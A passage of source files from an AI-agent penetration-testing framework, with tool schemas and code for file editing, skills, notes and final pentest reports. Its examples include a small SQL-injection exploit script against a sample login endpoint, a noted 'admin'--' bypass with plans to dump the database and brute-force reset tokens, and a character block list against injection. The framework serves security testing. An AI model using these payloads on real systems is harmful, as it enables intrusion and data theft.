</notes>\n    <examples>\n  # Search Python files for a pattern\n  <function=search_files>\n  <parameter=path>/home/user/project/src</parameter>\n  <parameter=regex>def\\s+process_data</parameter>\n  <parameter=file_pattern>*.py</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"str_replace_editor\">\n    <description>A text editor tool for viewing, creating and editing files.</description>\n    <parameters>\n      <parameter name=\"command\" type=\"string\" required=\"true\">\n        <description>Editor command to execute</description>\n      </parameter>\n      <parameter name=\"path\" type=\"string\" required=\"true\">\n        <description>Path to the file to edit</description>\n      </parameter>\n      <parameter name=\"file_text\" type=\"string\" required=\"false\">\n        <description>Required parameter of create command, with the content of the file to be created</description>\n      </parameter>\n      <parameter name=\"view_range\" type=\"string\" required=\"false\">\n        <description>Optional parameter of view command when path points to a file. If none is given, the full file is shown. If provided, the file will be shown in the indicated line number range, e.g. [11, 12] will show lines 11 and 12. Indexing at 1 to start. Setting [start_line, -1] shows all lines from start_line to the end of the file</description>\n      </parameter>\n      <parameter name=\"old_str\" type=\"string\" required=\"false\">\n        <description>Required parameter of str_replace command containing the string in path to replace</description>\n      </parameter>\n      <parameter name=\"new_str\" type=\"string\" required=\"false\">\n        <description>Optional parameter of str_replace command containing the new string (if not given, no string will be added). Required parameter of insert command containing the string to insert</description>\n      </parameter>\n      <parameter name=\"insert_line\" type=\"string\" required=\"false\">\n        <description>Required parameter of insert command. The new_str will be inserted AFTER the line insert_line of path</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing the result of the operation</description>\n    </returns>\n    <notes>\n  Command details:\n  - view: Show file contents, optionally with line range\n  - create: Create a new file with given content\n  - str_replace: Replace old_str with new_str in file\n  - insert: Insert new_str after the specified line number\n  - undo_edit: Revert the last edit made to the file\n    </notes>\n    <examples>\n  # View a file\n  <function=str_replace_editor>\n  <parameter=command>view</parameter>\n  <parameter=path>/home/user/project/file.py</parameter>\n  </function>\n\n  # Create a file\n  <function=str_replace_editor>\n  <parameter=command>create</parameter>\n  <parameter=path>/home/user/project/exploit.py</parameter>\n  <parameter=file_text>#!/usr/bin/env python3\n\"\"\"SQL Injection exploit for Acme Corp login endpoint.\"\"\"\n\nimport requests\nimport sys\n\nTARGET = \"https://app.acme-corp.com/api/v1/auth/login\"\n\ndef exploit(username: str) -> dict:\n    payload = {\n        \"username\": f\"{username}'--\",\n        \"password\": \"anything\"\n    }\n    response = requests.post(TARGET, json=payload, timeout=10)\n    return response.json()\n\nif __name__ == \"__main__\":\n    if len(sys.argv) < 2:\n        print(f\"Usage: {sys.argv[0]} <username>\")\n        sys.exit(1)\n\n    result = exploit(sys.argv[1])\n    print(f\"Result: {result}\")</parameter>\n  </function>\n\n  # Replace text in file\n  <function=str_replace_editor>\n  <parameter=command>str_replace</parameter>\n  <parameter=path>/home/user/project/file.py</parameter>\n  <parameter=old_str>old_function()</parameter>\n  <parameter=new_str>new_function()</parameter>\n  </function>\n\n  # Insert text after line 10\n  <function=str_replace_editor>\n  <parameter=command>insert</parameter>\n  <parameter=path>/home/user/project/file.py</parameter>\n  <parameter=insert_line>10</parameter>\n  <parameter=new_str>def validate_input(user_input: str) -> bool:\n    \"\"\"Validate user input to prevent injection attacks.\"\"\"\n    forbidden_chars = [\"'\", '\"', \";\", \"--\", \"/*\", \"*/\"]\n    for char in forbidden_chars:\n        if char in user_input:\n            return False\n    return True</parameter>\n  </function>\n\n  # Replace code block\n  <function=str_replace_editor>\n  <parameter=command>str_replace</parameter>\n  <parameter=path>/home/user/project/auth.py</parameter>\n  <parameter=old_str>def authenticate(username, password):\n    query = f\"SELECT * FROM users WHERE username = '{username}'\"\n    result = db.execute(query)\n    return result</parameter>\n  <parameter=new_str>def authenticate(username, password):\n    query = \"SELECT * FROM users WHERE username = %s\"\n    result = db.execute(query, (username,))\n    return result</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/finish/__init__.py",
    "content": "from .finish_actions import finish_scan\n\n\n__all__ = [\"finish_scan\"]\n"
  },
  {
    "path": "strix/tools/finish/finish_actions.py",
    "content": "from typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\ndef _validate_root_agent(agent_state: Any) -> dict[str, Any] | None:\n    if agent_state and hasattr(agent_state, \"parent_id\") and agent_state.parent_id is not None:\n        return {\n            \"success\": False,\n            \"error\": \"finish_scan_wrong_agent\",\n            \"message\": \"This tool can only be used by the root/main agent\",\n            \"suggestion\": \"If you are a subagent, use agent_finish from agents_graph tool instead\",\n        }\n    return None\n\n\ndef _check_active_agents(agent_state: Any = None) -> dict[str, Any] | None:\n    try:\n        from strix.tools.agents_graph.agents_graph_actions import _agent_graph\n\n        if agent_state and agent_state.agent_id:\n            current_agent_id = agent_state.agent_id\n        else:\n            return None\n\n        active_agents = []\n        stopping_agents = []\n\n        for agent_id, node in _agent_graph[\"nodes\"].items():\n            if agent_id == current_agent_id:\n                continue\n\n            status = node.get(\"status\", \"unknown\")\n            if status == \"running\":\n                active_agents.append(\n                    {\n                        \"id\": agent_id,\n                        \"name\": node.get(\"name\", \"Unknown\"),\n                        \"task\": node.get(\"task\", \"Unknown task\")[:300],\n                        \"status\": status,\n                    }\n                )\n            elif status == \"stopping\":\n                stopping_agents.append(\n                    {\n                        \"id\": agent_id,\n                        \"name\": node.get(\"name\", \"Unknown\"),\n                        \"task\": node.get(\"task\", \"Unknown task\")[:300],\n                        \"status\": status,\n                    }\n                )\n\n        if active_agents or stopping_agents:\n            response: dict[str, Any] = {\n                \"success\": False,\n                \"error\": \"agents_still_active\",\n                \"message\": \"Cannot finish scan: agents are still active\",\n            }\n\n            if active_agents:\n                response[\"active_agents\"] = active_agents\n\n            if stopping_agents:\n                response[\"stopping_agents\"] = stopping_agents\n\n            response[\"suggestions\"] = [\n                \"Use wait_for_message to wait for all agents to complete\",\n                \"Use send_message_to_agent if you need agents to complete immediately\",\n                \"Check agent_status to see current agent states\",\n            ]\n\n            response[\"total_active\"] = len(active_agents) + len(stopping_agents)\n\n            return response\n\n    except ImportError:\n        pass\n    except Exception:\n        import logging\n\n        logging.exception(\"Error checking active agents\")\n\n    return None\n\n\n@register_tool(sandbox_execution=False)\ndef finish_scan(\n    executive_summary: str,\n    methodology: str,\n    technical_analysis: str,\n    recommendations: str,\n    agent_state: Any = None,\n) -> dict[str, Any]:\n    validation_error = _validate_root_agent(agent_state)\n    if validation_error:\n        return validation_error\n\n    active_agents_error = _check_active_agents(agent_state)\n    if active_agents_error:\n        return active_agents_error\n\n    validation_errors = []\n\n    if not executive_summary or not executive_summary.strip():\n        validation_errors.append(\"Executive summary cannot be empty\")\n    if not methodology or not methodology.strip():\n        validation_errors.append(\"Methodology cannot be empty\")\n    if not technical_analysis or not technical_analysis.strip():\n        validation_errors.append(\"Technical analysis cannot be empty\")\n    if not recommendations or not recommendations.strip():\n        validation_errors.append(\"Recommendations cannot be empty\")\n\n    if validation_errors:\n        return {\"success\": False, \"message\": \"Validation failed\", \"errors\": validation_errors}\n\n    try:\n        from strix.telemetry.tracer import get_global_tracer\n\n        tracer = get_global_tracer()\n        if tracer:\n            tracer.update_scan_final_fields(\n                executive_summary=executive_summary.strip(),\n                methodology=methodology.strip(),\n                technical_analysis=technical_analysis.strip(),\n                recommendations=recommendations.strip(),\n            )\n\n            vulnerability_count = len(tracer.vulnerability_reports)\n\n            return {\n                \"success\": True,\n                \"scan_completed\": True,\n                \"message\": \"Scan completed successfully\",\n                \"vulnerabilities_found\": vulnerability_count,\n            }\n\n        import logging\n\n        logging.warning(\"Current tracer not available - scan results not stored\")\n\n    except (ImportError, AttributeError) as e:\n        return {\"success\": False, \"message\": f\"Failed to complete scan: {e!s}\"}\n    else:\n        return {\n            \"success\": True,\n            \"scan_completed\": True,\n            \"message\": \"Scan completed (not persisted)\",\n            \"warning\": \"Results could not be persisted - tracer unavailable\",\n        }\n"
  },
  {
    "path": "strix/tools/finish/finish_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"finish_scan\">\n    <description>Complete the security scan by providing the final assessment fields as full penetration test report.\n\nIMPORTANT: This tool can ONLY be used by the root/main agent.\nSubagents must use agent_finish from agents_graph tool instead.\n\nIMPORTANT: This tool will NOT allow finishing if any agents are still running or stopping.\nYou must wait for all agents to complete before using this tool.\n\nThis tool directly updates the scan report data:\n- executive_summary\n- methodology\n- technical_analysis\n- recommendations\n\nAll fields are REQUIRED and map directly to the final report.\n\nThis must be the last tool called in the scan. It will:\n1. Verify you are the root agent\n2. Check all subagents have completed\n3. Update the scan with your provided fields\n4. Mark the scan as completed\n5. Stop agent execution\n\nUse this tool when:\n- You are the main/root agent conducting the security assessment\n- ALL subagents have completed their tasks (no agents are \"running\" or \"stopping\")\n- You have completed all testing phases\n- You are ready to conclude the entire security assessment\n\nIMPORTANT: Calling this tool multiple times will OVERWRITE any previous scan report.\nMake sure you include ALL findings and details in a single comprehensive report.\n\nIf agents are still running, the tool will:\n- Show you which agents are still active\n- Suggest using wait_for_message to wait for completion\n- Suggest messaging agents if immediate completion is needed\n\nNOTE: Make sure the vulnerabilities found were reported with create_vulnerability_report tool, otherwise they will not be tracked and you will not be rewarded.\nBut make sure to not report the same vulnerability multiple times.\n\nProfessional, customer-facing penetration test report rules (PDF-ready):\n- Do NOT include internal or system details: never mention local/absolute paths (e.g., \"/workspace\"), internal tools, agents, orchestrators, sandboxes, models, system prompts/instructions, connection/tooling issues, or tester environment details.\n- Tone and style: formal, objective, third-person, concise. No internal checklists or engineering runbooks. Content must read as a polished client deliverable.\n- Structure across fields should align to standard pentest reports:\n  - Executive summary: business impact, risk posture, notable criticals, remediation theme.\n  - Methodology: industry-standard methods (e.g., OWASP, OSSTMM, NIST), scope, constraints—no internal execution notes.\n  - Technical analysis: consolidated findings overview referencing created vulnerability reports; avoid raw logs.\n  - Recommendations: prioritized, actionable, aligned to risk and best practices.\n</description>\n    <parameters>\n      <parameter name=\"executive_summary\" type=\"string\" required=\"true\">\n        <description>High-level summary for non-technical stakeholders. Include: risk posture assessment, key findings in business context, potential business impact (data exposure, compliance, reputation), and an overarching remediation theme. Write in clear, accessible language for executive leadership.</description>\n      </parameter>\n      <parameter name=\"methodology\" type=\"string\" required=\"true\">\n        <description>Testing methodology and scope. Include: frameworks and standards followed (e.g., OWASP WSTG, PTES), engagement type and approach (black-box, gray-box), in-scope assets and target environment, categories of testing activities performed, and evidence validation standards applied.</description>\n      </parameter>\n      <parameter name=\"technical_analysis\" type=\"string\" required=\"true\">\n        <description>Consolidated overview of confirmed findings and risk patterns. Include: severity model used, a high-level summary of each finding with its severity rating, and systemic root causes or recurring themes observed across findings. Reference individual vulnerability reports for reproduction details — do not duplicate full evidence here.</description>\n      </parameter>\n      <parameter name=\"recommendations\" type=\"string\" required=\"true\">\n        <description>Prioritized, actionable remediation guidance organized by urgency (Immediate, Short-term, Medium-term). Each recommendation should provide specific technical remediation steps. Conclude with retest and validation guidance.</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing success status, vulnerability count, and completion message. If agents are still running, returns details about active agents and suggested actions.</description>\n    </returns>\n    <examples>\n\n<function=finish_scan>\n  <parameter=executive_summary>An external penetration test of the Acme Customer Portal and associated API identified multiple security weaknesses that, if exploited, could result in unauthorized access to customer data, cross-tenant exposure, and access to internal network resources.\n\nOverall risk posture: Elevated.\n\nKey findings\n- Confirmed server-side request forgery (SSRF) in a URL preview capability that enables the application to initiate outbound requests to attacker-controlled destinations and internal network ranges.\n- Identified broken access control patterns in business-critical workflows that can enable cross-tenant data access (tenant isolation failures).\n- Observed session and authorization hardening gaps that materially increase risk when combined with other weaknesses.\n\nBusiness impact\n- Increased likelihood of sensitive data exposure across customers/tenants, including invoices, orders, and account information.\n- Increased risk of internal service exposure through server-side outbound request functionality (including link-local and private network destinations).\n- Increased potential for account compromise and administrative abuse if tokens are stolen or misused.\n\nRemediation theme\nPrioritize eliminating SSRF pathways and centralizing authorization enforcement (deny-by-default). Follow with session hardening and monitoring improvements, then validate with a focused retest.</parameter>\n  <parameter=methodology>The assessment was conducted in accordance with the OWASP Web Security Testing Guide (WSTG) and aligned to industry-standard penetration testing methodology.\n\nEngagement details\n- Assessment type: External penetration test (black-box with limited gray-box context)\n- Target environment: Production-equivalent staging\n\nScope (in-scope assets)\n- Web application: https://app.acme-corp.com\n- API base: https://app.acme-corp.com/api/v1/\n\nHigh-level testing activities\n- Reconnaissance and attack-surface mapping (routes, parameters, workflows)\n- Authentication and session management review (token handling, session lifetime, sensitive actions)\n- Authorization and tenant-isolation testing (object access and privilege boundaries)\n- Input handling and server-side request testing (URL fetchers, imports, previews, callbacks)\n- File handling and content rendering review (uploads, previews, unsafe content types)\n- Configuration review (transport security, security headers, caching behavior, error handling)\n\nEvidence handling and validation standard\nOnly validated issues with reproducible impact were treated as findings. Each finding was documented with clear reproduction steps and sufficient evidence to support remediation and verification testing.</parameter>\n  <parameter=technical_analysis>This section provides a consolidated view of the confirmed findings and observed risk patterns. Detailed reproduction steps and evidence are documented in the individual vulnerability reports.\n\nSeverity model\nSeverity reflects a combination of exploitability and potential impact to confidentiality, integrity, and availability, considering realistic attacker capabilities.\n\nConfirmed findings\n1) Server-side request forgery (SSRF) in URL preview (Critical)\nThe application fetches user-supplied URLs server-side to generate previews. Validation controls were insufficient to prevent access to internal and link-local destinations. This creates a pathway to internal network enumeration and potential access to sensitive internal services. Redirect and DNS/normalization bypass risk must be assumed unless controls are comprehensive and applied on every request hop.\n\n2) Broken tenant isolation in order/invoice workflows (High)\nMultiple endpoints accepted object identifiers without consistently enforcing tenant ownership. This is indicative of broken function- and object-level authorization checks. In practice, this can enable cross-tenant access to business-critical resources (viewing or modifying data outside the attacker’s tenant boundary).\n\n3) Administrative action hardening gaps (Medium)\nSeveral sensitive actions lacked defense-in-depth controls (e.g., re-authentication for high-risk actions, consistent authorization checks across related endpoints, and protections against session misuse). While not all behaviors were immediately exploitable in isolation, they increase the likelihood and blast radius of account compromise when chained with other vulnerabilities.\n\n4) Unsafe file preview/content handling patterns (Medium)\nFile preview and rendering behaviors can create exposure to script execution or content-type confusion if unsafe formats are rendered inline. Controls should be consistent: strong content-type validation, forced download where appropriate, and hardening against active content.\n\nSystemic themes and root causes\n- Authorization enforcement appears distributed and inconsistent across endpoints instead of centralized and testable.\n- Outbound request functionality lacks a robust, deny-by-default policy for destination validation.\n- Hardening controls (session lifetime, sensitive-action controls, logging) are applied unevenly, increasing the likelihood of successful attack chains.</parameter>\n  <parameter=recommendations>The following recommendations are prioritized by urgency and potential risk reduction.\n\nImmediate priority\nThese items address the most severe confirmed risks and should be prioritized for immediate remediation.\n\n1. Remediate server-side request forgery\nImplement a strict destination allowlist with a deny-by-default policy for all server-initiated outbound requests. Block private, loopback, and link-local address ranges (IPv4 and IPv6) at the application layer after DNS resolution. Re-validate destination addresses on every redirect hop. Apply URL normalization to prevent bypass via ambiguous encodings, alternate IP notations, or DNS rebinding.\n\n2. Enforce network-level egress controls\nRestrict application runtime network egress to prevent outbound connections to internal and link-local address spaces at the network layer. Route legitimate outbound requests through a policy-enforcing egress proxy with request logging and alerting.\n\n3. Enforce tenant-scoped authorization\nImplement consistent tenant-ownership validation on every read and write path for business-critical resources, including orders, invoices, and account data. Adopt centralized, deny-by-default authorization middleware that enforces object- and function-level access controls uniformly across all endpoints.\n\nShort-term priority\nThese items reduce residual risk and harden defensive controls.\n\n4. Centralize and harden authorization logic\nConsolidate authorization enforcement into a centralized policy layer. Require re-authentication for high-risk administrative actions. Add regression tests covering cross-tenant access, privilege escalation, and negative authorization cases.\n\n5. Harden session management\nEnforce secure cookie attributes (Secure, HttpOnly, SameSite). Implement session rotation after authentication events and privilege changes. Reduce session lifetime for privileged contexts. Apply consistent CSRF protections to all state-changing operations.\n\nMedium-term priority\nThese items strengthen defense-in-depth and improve operational visibility.\n\n6. Harden file handling and content rendering\nEnforce strict content-type allowlists for file uploads and previews. Force download disposition for active content types. Implement content sanitization and scanning where applicable. Prevent inline rendering of potentially executable formats.\n\n7. Improve security monitoring and detection\nImplement alerting for high-risk events: repeated authorization failures, anomalous outbound request patterns, sensitive administrative actions, and unusual access to business-critical resources. Ensure sufficient logging granularity to support incident investigation.\n\nRetest and validation\nConduct a focused retest after remediation of immediate-priority items to verify the effectiveness of SSRF controls, tenant isolation enforcement, and session hardening. Validate that no bypasses exist through redirect chains, DNS rebinding, or encoding edge cases. Repeat authorization regression tests to confirm consistent enforcement across all endpoints.</parameter>\n</function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/load_skill/__init__.py",
    "content": "from .load_skill_actions import load_skill\n\n\n__all__ = [\"load_skill\"]\n"
  },
  {
    "path": "strix/tools/load_skill/load_skill_actions.py",
    "content": "from typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\n@register_tool(sandbox_execution=False)\ndef load_skill(agent_state: Any, skills: str) -> dict[str, Any]:\n    try:\n        from strix.skills import parse_skill_list, validate_requested_skills\n\n        requested_skills = parse_skill_list(skills)\n        if not requested_skills:\n            return {\n                \"success\": False,\n                \"error\": \"No skills provided. Pass one or more comma-separated skill names.\",\n                \"requested_skills\": [],\n            }\n\n        validation_error = validate_requested_skills(requested_skills)\n        if validation_error:\n            return {\n                \"success\": False,\n                \"error\": validation_error,\n                \"requested_skills\": requested_skills,\n                \"loaded_skills\": [],\n            }\n\n        from strix.tools.agents_graph.agents_graph_actions import _agent_instances\n\n        current_agent = _agent_instances.get(agent_state.agent_id)\n        if current_agent is None or not hasattr(current_agent, \"llm\"):\n            return {\n                \"success\": False,\n                \"error\": (\n                    \"Could not find running agent instance for runtime skill loading. \"\n                    \"Try again in the current active agent.\"\n                ),\n                \"requested_skills\": requested_skills,\n                \"loaded_skills\": [],\n            }\n\n        newly_loaded = current_agent.llm.add_skills(requested_skills)\n        already_loaded = [skill for skill in requested_skills if skill not in newly_loaded]\n\n        prior = agent_state.context.get(\"loaded_skills\", [])\n        if not isinstance(prior, list):\n            prior = []\n        merged_skills = sorted(set(prior).union(requested_skills))\n        agent_state.update_context(\"loaded_skills\", merged_skills)\n\n    except Exception as e:  # noqa: BLE001\n        fallback_requested_skills = (\n            requested_skills\n            if \"requested_skills\" in locals()\n            else [s.strip() for s in skills.split(\",\") if s.strip()]\n        )\n        return {\n            \"success\": False,\n            \"error\": f\"Failed to load skill(s): {e!s}\",\n            \"requested_skills\": fallback_requested_skills,\n            \"loaded_skills\": [],\n        }\n    else:\n        return {\n            \"success\": True,\n            \"requested_skills\": requested_skills,\n            \"loaded_skills\": requested_skills,\n            \"newly_loaded_skills\": newly_loaded,\n            \"already_loaded_skills\": already_loaded,\n            \"message\": \"Skills loaded into this agent prompt context.\",\n        }\n"
  },
  {
    "path": "strix/tools/load_skill/load_skill_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"load_skill\">\n    <description>Dynamically load one or more skills into the current agent at runtime.\n\nUse this when you need exact guidance right before acting (tool syntax, exploit workflow, or protocol details).\nThis updates the current agent's prompt context immediately.</description>\n    <details>Accepts one skill or a comma-separated skill bundle. Works for root agents and subagents.\nExamples:\n- Single skill: `xss`\n- Bundle: `sql_injection,business_logic`</details>\n    <parameters>\n      <parameter name=\"skills\" type=\"string\" required=\"true\">\n        <description>Comma-separated list of skills to use for the agent (MAXIMUM 5 skills allowed). Most agents should have at least one skill in order to be useful. Agents should be highly specialized - use 1-3 related skills; up to 5 for complex contexts. {{DYNAMIC_SKILLS_DESCRIPTION}}</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether runtime loading succeeded - requested_skills: Skills requested - loaded_skills: Skills validated and applied - newly_loaded_skills: Skills newly injected into prompt - already_loaded_skills: Skills already present in prompt context</description>\n    </returns>\n    <examples>\n  <function=load_skill>\n  <parameter=skills>xss</parameter>\n  </function>\n\n  <function=load_skill>\n  <parameter=skills>sql_injection,business_logic</parameter>\n  </function>\n\n  <function=load_skill>\n  <parameter=skills>nmap,httpx</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/notes/__init__.py",
    "content": "from .notes_actions import (\n    create_note,\n    delete_note,\n    list_notes,\n    update_note,\n)\n\n\n__all__ = [\n    \"create_note\",\n    \"delete_note\",\n    \"list_notes\",\n    \"update_note\",\n]\n"
  },
  {
    "path": "strix/tools/notes/notes_actions.py",
    "content": "import uuid\nfrom datetime import UTC, datetime\nfrom typing import Any\n\nfrom strix.tools.registry import register_tool\n\n\n_notes_storage: dict[str, dict[str, Any]] = {}\n\n\ndef _filter_notes(\n    category: str | None = None,\n    tags: list[str] | None = None,\n    search_query: str | None = None,\n) -> list[dict[str, Any]]:\n    filtered_notes = []\n\n    for note_id, note in _notes_storage.items():\n        if category and note.get(\"category\") != category:\n            continue\n\n        if tags:\n            note_tags = note.get(\"tags\", [])\n            if not any(tag in note_tags for tag in tags):\n                continue\n\n        if search_query:\n            search_lower = search_query.lower()\n            title_match = search_lower in note.get(\"title\", \"\").lower()\n            content_match = search_lower in note.get(\"content\", \"\").lower()\n            if not (title_match or content_match):\n                continue\n\n        note_with_id = note.copy()\n        note_with_id[\"note_id\"] = note_id\n        filtered_notes.append(note_with_id)\n\n    filtered_notes.sort(key=lambda x: x.get(\"created_at\", \"\"), reverse=True)\n    return filtered_notes\n\n\n@register_tool(sandbox_execution=False)\ndef create_note(\n    title: str,\n    content: str,\n    category: str = \"general\",\n    tags: list[str] | None = None,\n) -> dict[str, Any]:\n    try:\n        if not title or not title.strip():\n            return {\"success\": False, \"error\": \"Title cannot be empty\", \"note_id\": None}\n\n        if not content or not content.strip():\n            return {\"success\": False, \"error\": \"Content cannot be empty\", \"note_id\": None}\n\n        valid_categories = [\"general\", \"findings\", \"methodology\", \"questions\", \"plan\"]\n        if category not in valid_categories:\n            return {\n                \"success\": False,\n                \"error\": f\"Invalid category. Must be one of: {', '.join(valid_categories)}\",\n                \"note_id\": None,\n            }\n\n        note_id = str(uuid.uuid4())[:5]\n        timestamp = datetime.now(UTC).isoformat()\n\n        note = {\n            \"title\": title.strip(),\n            \"content\": content.strip(),\n            \"category\": category,\n            \"tags\": tags or [],\n            \"created_at\": timestamp,\n            \"updated_at\": timestamp,\n        }\n\n        _notes_storage[note_id] = note\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": f\"Failed to create note: {e}\", \"note_id\": None}\n    else:\n        return {\n            \"success\": True,\n            \"note_id\": note_id,\n            \"message\": f\"Note '{title}' created successfully\",\n        }\n\n\n@register_tool(sandbox_execution=False)\ndef list_notes(\n    category: str | None = None,\n    tags: list[str] | None = None,\n    search: str | None = None,\n) -> dict[str, Any]:\n    try:\n        filtered_notes = _filter_notes(category=category, tags=tags, search_query=search)\n\n        return {\n            \"success\": True,\n            \"notes\": filtered_notes,\n            \"total_count\": len(filtered_notes),\n        }\n\n    except (ValueError, TypeError) as e:\n        return {\n            \"success\": False,\n            \"error\": f\"Failed to list notes: {e}\",\n            \"notes\": [],\n            \"total_count\": 0,\n        }\n\n\n@register_tool(sandbox_execution=False)\ndef update_note(\n    note_id: str,\n    title: str | None = None,\n    content: str | None = None,\n    tags: list[str] | None = None,\n) -> dict[str, Any]:\n    try:\n        if note_id not in _notes_storage:\n            return {\"success\": False, \"error\": f\"Note with ID '{note_id}' not found\"}\n\n        note = _notes_storage[note_id]\n\n        if title is not None:\n            if not title.strip():\n                return {\"success\": False, \"error\": \"Title cannot be empty\"}\n            note[\"title\"] = title.strip()\n\n        if content is not None:\n            if not content.strip():\n                return {\"success\": False, \"error\": \"Content cannot be empty\"}\n            note[\"content\"] = content.strip()\n\n        if tags is not None:\n            note[\"tags\"] = tags\n\n        note[\"updated_at\"] = datetime.now(UTC).isoformat()\n\n        return {\n            \"success\": True,\n            \"message\": f\"Note '{note['title']}' updated successfully\",\n        }\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": f\"Failed to update note: {e}\"}\n\n\n@register_tool(sandbox_execution=False)\ndef delete_note(note_id: str) -> dict[str, Any]:\n    try:\n        if note_id not in _notes_storage:\n            return {\"success\": False, \"error\": f\"Note with ID '{note_id}' not found\"}\n\n        note_title = _notes_storage[note_id][\"title\"]\n        del _notes_storage[note_id]\n\n    except (ValueError, TypeError) as e:\n        return {\"success\": False, \"error\": f\"Failed to delete note: {e}\"}\n    else:\n        return {\n            \"success\": True,\n            \"message\": f\"Note '{note_title}' deleted successfully\",\n        }\n"
  },
  {
    "path": "strix/tools/notes/notes_actions_schema.xml",
    "content": "<tools>\n  <tool name=\"create_note\">\n    <description>Create a personal note for observations, findings, and research during the scan.</description>\n    <details>Use this tool for documenting discoveries, observations, methodology notes, and questions.\n  This is your personal notepad for recording information you want to remember or reference later.\n  For tracking actionable tasks, use the todo tool instead.</details>\n    <parameters>\n      <parameter name=\"title\" type=\"string\" required=\"true\">\n        <description>Title of the note</description>\n      </parameter>\n      <parameter name=\"content\" type=\"string\" required=\"true\">\n        <description>Content of the note</description>\n      </parameter>\n      <parameter name=\"category\" type=\"string\" required=\"false\">\n        <description>Category to organize the note (default: \"general\", \"findings\", \"methodology\", \"questions\", \"plan\")</description>\n      </parameter>\n      <parameter name=\"tags\" type=\"string\" required=\"false\">\n        <description>Tags for categorization</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - note_id: ID of the created note - success: Whether the note was created successfully</description>\n    </returns>\n    <examples>\n  # Document an interesting finding\n  <function=create_note>\n  <parameter=title>Authentication Bypass Findings</parameter>\n  <parameter=content>Discovered multiple authentication bypass vectors in the login system:\n\n1. SQL Injection in username field\n   - Payload: admin'--\n   - Result: Full authentication bypass\n   - Endpoint: POST /api/v1/auth/login\n\n2. JWT Token Weakness\n   - Algorithm confusion attack possible (RS256 -> HS256)\n   - Token expiration is 24 hours but no refresh rotation\n   - Token stored in localStorage (XSS risk)\n\n3. Password Reset Flow\n   - Reset tokens are only 6 digits (brute-forceable)\n   - No rate limiting on reset attempts\n   - Token valid for 48 hours\n\nNext Steps:\n- Extract full database via SQL injection\n- Test JWT manipulation attacks\n- Attempt password reset brute force</parameter>\n  <parameter=category>findings</parameter>\n  <parameter=tags>[\"auth\", \"sqli\", \"jwt\", \"critical\"]</parameter>\n  </function>\n\n  # Methodology note\n  <function=create_note>\n  <parameter=title>API Endpoint Mapping Complete</parameter>\n  <parameter=content>Completed comprehensive API enumeration using multiple techniques:\n\nDiscovered Endpoints:\n- /api/v1/auth/* - Authentication endpoints (login, register, reset)\n- /api/v1/users/* - User management (profile, settings, admin)\n- /api/v1/orders/* - Order management (IDOR vulnerability confirmed)\n- /api/v1/admin/* - Admin panel (403 but may be bypassable)\n- /api/internal/* - Internal APIs (should not be exposed)\n\nMethods Used:\n- Analyzed JavaScript bundles for API calls\n- Bruteforced common paths with ffuf\n- Reviewed OpenAPI/Swagger documentation at /api/docs\n- Monitored traffic during normal application usage\n\nPriority Targets:\nThe /api/internal/* endpoints are high priority as they appear to lack authentication checks based on error message differences.</parameter>\n  <parameter=category>methodology</parameter>\n  <parameter=tags>[\"api\", \"enumeration\", \"recon\"]</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"delete_note\">\n    <description>Delete a note.</description>\n    <parameters>\n      <parameter name=\"note_id\" type=\"string\" required=\"true\">\n        <description>ID of the note to delete</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the note was deleted successfully</description>\n    </returns>\n    <examples>\n  <function=delete_note>\n  <parameter=note_id>note_123</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"list_notes\">\n    <description>List existing notes with optional filtering and search.</description>\n    <parameters>\n      <parameter name=\"category\" type=\"string\" required=\"false\">\n        <description>Filter by category</description>\n      </parameter>\n      <parameter name=\"tags\" type=\"string\" required=\"false\">\n        <description>Filter by tags (returns notes with any of these tags)</description>\n      </parameter>\n      <parameter name=\"search\" type=\"string\" required=\"false\">\n        <description>Search query to find in note titles and content</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - notes: List of matching notes - total_count: Total number of notes found</description>\n    </returns>\n    <examples>\n  # List all findings\n  <function=list_notes>\n  <parameter=category>findings</parameter>\n  </function>\n\n  # Search for SQL injection related notes\n  <function=list_notes>\n  <parameter=search>SQL injection</parameter>\n  </function>\n\n  # Search within a specific category\n  <function=list_notes>\n  <parameter=search>admin</parameter>\n  <parameter=category>findings</parameter>\n  </function>\n    </examples>\n  </tool>\n  <tool name=\"update_note\">\n    <description>Update an existing note.</description>\n    <parameters>\n      <parameter name=\"note_id\" type=\"string\" required=\"true\">\n        <description>ID of the note to update</description>\n      </parameter>\n      <parameter name=\"title\" type=\"string\" required=\"false\">\n        <description>New title for the note</description>\n      </parameter>\n      <parameter name=\"content\" type=\"string\" required=\"false\">\n        <description>New content for the note</description>\n      </parameter>\n      <parameter name=\"tags\" type=\"string\" required=\"false\">\n        <description>New tags for the note</description>\n      </parameter>\n    </parameters>\n    <returns type=\"Dict[str, Any]\">\n      <description>Response containing: - success: Whether the note was updated successfully</description>\n    </returns>\n    <examples>\n  <function=update_note>\n  <parameter=note_id>note_123</parameter>\n  <parameter=content>Updated content with new findings...</parameter>\n  </function>\n    </examples>\n  </tool>\n</tools>\n"
  },
  {
    "path": "strix/tools/proxy/__init__.py",
